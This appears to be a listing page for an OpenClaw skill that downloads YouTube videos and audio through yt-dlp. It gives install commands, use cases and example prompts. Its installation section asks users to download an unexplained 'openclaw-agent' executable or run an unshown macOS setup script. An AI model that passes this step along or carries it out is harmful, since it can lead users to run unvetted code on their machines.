youtube-video-downloader
Download YouTube videos in various formats and qualities. Use when you need to save videos for offline viewing, extract audio, download playlists, or get specific video formats.
Why use this skill?
Use the OpenClaw YouTube downloader to save videos, extract audio, and manage playlists. Easily download high-quality content with metadata and subtitles.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/youtube-video-downloader-kcbjrWhat This Skill Does
The youtube-video-downloader skill provides OpenClaw users with a robust interface to interact with the powerful yt-dlp library. This tool allows for the high-quality extraction of video and audio content directly from YouTube. Whether you need to archive entire channels, save specific playlists for offline viewing, or extract clean audio tracks for podcast editing, this skill handles it all. By leveraging the required openclaw-agent utility, the skill bypasses many of the traditional limitations of browser-based downloads, allowing for granular control over file formats, resolution, subtitles, and metadata embedding.
Installation
To begin, ensure you have the core openclaw-agent installed on your machine. For Windows, download and extract the agent executable. For macOS, execute the provided setup script in your Terminal. Once the agent is active, install the engine using the command: clawhub install openclaw/skills/skills/hightower6eu/youtube-video-downloader-kcbjr. We highly recommend installing FFmpeg (via Homebrew, apt, or winget) as it is essential for merging high-quality video and audio streams and performing format conversions.
Use Cases
- Offline Archiving: Save your favorite educational series or video essays to your local machine for access without an internet connection.
- Audio Extraction: Quickly convert music videos or long-form interviews into high-quality MP3 or M4A files for listening on the go.
- Content Creation: Download raw video files with metadata and subtitles included, ready to be imported into video editing software like Premiere Pro or DaVinci Resolve.
- Batch Processing: Automate the download of entire playlists or channel archives to maintain a local, searchable library of content.
Example Prompts
- "Download the latest 5 videos from this playlist [URL] and save them to my Downloads folder with the channel name included in the filename."
- "Extract the audio from this video [URL] as an MP3 file and make sure to embed the thumbnail and metadata."
- "Download this YouTube video [URL] at 1080p resolution and include the English auto-generated subtitles."
Tips & Limitations
Always be mindful of storage space when downloading entire channels, as video files can grow very large quickly. For optimal performance, ensure FFmpeg is in your system PATH, as this prevents common issues where video and audio are downloaded as separate, unmerged files. Note that age-restricted videos or private content may require additional authentication flags provided by yt-dlp. Always respect copyright laws and the Terms of Service of the platforms you are accessing.
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{
"plugins": {
"official-hightower6eu-youtube-video-downloader-kcbjr": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: file-write, network-access
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